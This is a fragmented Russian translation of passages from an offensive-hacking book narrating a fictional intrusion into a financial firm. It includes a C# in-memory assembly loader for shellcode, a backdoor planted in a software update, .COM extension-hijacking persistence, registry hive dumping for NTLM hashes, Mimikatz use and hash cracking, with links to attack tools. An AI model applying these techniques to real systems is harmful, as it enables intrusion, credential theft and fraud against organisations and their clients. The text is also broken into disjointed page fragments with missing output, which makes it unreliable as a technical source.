Assembly a = Assembly.Load(myDataBuffer);
}
Type t = a.GetType(
"shellcode.Program"
);
MethodInfo staticMethodInfo = t.GetMethod(
"Main"
);
staticMethodInfo.Invoke( ,
null null
);
// Конец метода Custom_shape_ui()
}
https://github.com/HackLikeAPornstar/StratJumbo/blob/master/chap3/wr
apper_assembly.cs
Перевод
@Ianuaria
skladchik.com
Благодаря большому количеству учетных записей,
вовлеченных в проект Strat Accounting, мы можем время от времени
подключаться к репозиторию и отслеживать график обновлений
проекта. Если все будет хорошо, через какие-то три-пять недель
должны будут политься шеллы!
**Примечание**
https://github.com/Arno0x/CSharpScripts/blob/master/peloader.cs
****
Перевод
@Ianuaria
skladchik.com
Освобождение от грехов
“Упал на колени и помолился
"Да будет воля Твоя"
Я обернулся, увидел свет,
Дверь была широко открыта”
Dream Theater
Перевод
@Ianuaria
skladchik.com
Прошло три недели с того момента, как мы внедрили
дополнительный фрагмент кода в следующий релиз Strat
Accounting. Периодически мы открываем удаленный сеанс Citrix,
чтобы отслеживать развитие проекта, но как и в любом другом
проекте разработки, запуск нового релиза запаздывает на
несколько дней.
Перевод
@Ianuaria
skladchik.com
Это пилотный запуск на одной единственной рабочей станции
G&S Trust, чтобы протестировать обновление перед глобальным
выпуском нового релиза? Может быть. Мы терпим еще несколько
минут и нервно ожидаем, чтобы проверить, будет ли этот первый
луч света вырезан каким-нибудь продуктом безопасности, который
заспотит маячковое поведение.
Перевод
@Ianuaria
skladchik.com
машинами с Windows 10, мы начинаем с целевых команд для того,
чтобы сначала определить, работают ли ATA и ATP:
Перевод
@Ianuaria
skladchik.com
Ошибка: система не смогла обнаружить указанный ключ реестра или
значение
Перевод
@Ianuaria
skladchik.com
т.д.), но кажется, что ни одна из них не принадлежит и не
используется каким-либо продуктом безопасности.
Перевод
@Ianuaria
skladchik.com
Подобным же образом, кажется, бизнес-группы разделены на
регионы:
Охота за данными
Перевод
@Ianuaria
skladchik.com
ComDlg32\LastVisitedPidlMRU”100, но здесь мы имеем дело с
контингентом пользователей, не особо разбирающихся в IT.
100
Может пригодиться следующий скрипт:
https://gallery.technet.microsoft.com/scriptcenter/Get-DecodeMRU-6ed5963f
Перевод
@Ianuaria
skladchik.com
Yui хранит локальные копии лишь своей последней работы;
прочие файлы, должно быть, размещены на сетевом ресурсе где-то
в гонконгском офисе. Мы выводим список общих ресурсов,
примонтированных в данный момент к рабочей станции Yui, для
этого вызываем команду net use:
Перевод
@Ianuaria
skladchik.com
При том, что эта информация представляет определенный
интерес, потребуется несколько месяцев, чтобы распарсить ее, так
чтобы мы смогли точно установить схемы хищений и прочие мутные
делишки.
Перевод
@Ianuaria
skladchik.com
Учетная запись Yui получает отказ в доступе ко всем
остальным папкам (юридический отдел, HR, правление (ExCom) и
так далее), за исключением папки бухгалтерии на локальном
сервере в Гонконге. Требуемая для их бизнеса надежная
конфиденциальность вынудила их как минимум внедрить строгие
правила доступа, чтобы противодействовать утечкам данных.
Вполне резонно.
Перевод
@Ianuaria
skladchik.com
Практически все администраторские учетные записи следуют
одинаковому соглашению о наименованиях: “admin.username”. И
если вы внимательно следили, то могли заметить, что у одного из
наших бухгалтеров на Кипре имеется еще и учетная запись
администратора: admin.sarah!
Перевод
@Ianuaria
skladchik.com
Е, бой! Новый сеанс администратора отзванивает домой:
101
Потрясающая презентация на DerbyCon:
https://github.com/huntresslabs/evading-autoruns
Перевод
@Ianuaria
skladchik.com
В нашем конкретном сценарии мы выберем простую, но
изящную технику под названием Extension Search Order Hijacking
(угон очередности поиска расширений). Смотрите, на
Windows-машине, к примеру, при выполнении “calc” из
интерпретатора командной строки, система будет сначала искать
“cmd.com”. Только если она не сможет найти его, она затем ищет и
исполняет “ cmd.exe”.
Перевод
@Ianuaria
skladchik.com
Для завершения схемы с закреплением, мы просто помещаем
нормальный исполняемый файл с таким же именем, но имеющий
.COM” (AGCInvokerUtility.COM), в ту же самую папку,
расширение “
и теперь мы можем быть уверены, что он будет успешно вызван в
следующий раз на старте системы. Здорово, правда?
Перевод
@Ianuaria
skladchik.com
Теперь, когда у нас есть надежная схема закрепления под
администратором, давайте вернемся к делу.
Перевод
@Ianuaria
skladchik.com
Куст реестра
SECURITY напротив, гораздо более любопытная
цель. Этот файл (привязанный к ключу реестра HKLM\SECURITY)
сохраняет NTLM-хеши пользователей домена, которые открывают
интерактивные сеансы на машине.102
102
Эти хеши зашифрованы при помощи секретного ключа, хранящегося в ветке реестра
SYSTEM. Чтобы снять ее дамп локально, мы можем использовать secretdumps.py из
инструментов Impacket и загрузить в него файлы SYSTEM и SECURITY:
https://github.com/CoreSecurity/impacket/blob/master/examples/secretsdump.py
Перевод
@Ianuaria
skladchik.com
Бинго! Теперь вопросом на миллион становится: обладает ли
admin.joey повышенными привилегиями на любом сервере?
Учетная запись является членом группы “GS Server Maintenance”
(обслуживание серверов), так что это должен быть администратор
как минимум на одном или двух серверах.
Перевод
@Ianuaria
skladchik.com
Как и ожидалось, admin.joey действительно обладает
привилегиями администратора на этой машине и скорее всего, на
всех других серверах, поскольку группа “GS Server Maintenance”
является частью группы локальных администраторов:
103
Мы всегда может настроить ключ реестра WDigest, затем вернуться обратно через
несколько дней и перезапустить Mimikatz для получения паролей в открытом тексте.
Перевод
@Ianuaria
skladchik.com
По воле случая, admin.gloria принадлежит группе
администраторов домена:
Перевод
@Ianuaria
skladchik.com
Джекпот
Перевод
@Ianuaria
skladchik.com
корпораций и их прямых бенефициаров. В этом нет никакого
смысла.
Перевод
@Ianuaria
skladchik.com
Можете, пожалуйста, перенаправить этот сертификат на акции в
адрес…?
Перевод
@Ianuaria
skladchik.com
Привет,
Готово.
Майк Росс
Консультант по правовым вопросам
Перевод
@Ianuaria
skladchik.com
в более, чем 150 раз быстрее, чем взлом алгоритма Kerberos eType
23, это означает, что мы можем добиться 65 млн. хешей в секунду
на нашем скромном инстансе P2x8 AWS.
**Примечание**
****
104
https://github.com/unode/firefox_decrypt
105
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials
Перевод
@Ianuaria
skladchik.com
Бинго! Наконец, после множества недель сражений, мы
достигаем священного Грааля, красиво выложенного сотнями
подпапок, в каждой из которых содержатся идентификационные
данные паспортов, сертификаты на акции, дивиденды, права
собственности и так далее.
Перевод
@Ianuaria
skladchik.com
Итоги
https://hacklikeapornstar.com
106
Разумеется, в рамках закона ;-)
Перевод
@Ianuaria
skladchik.com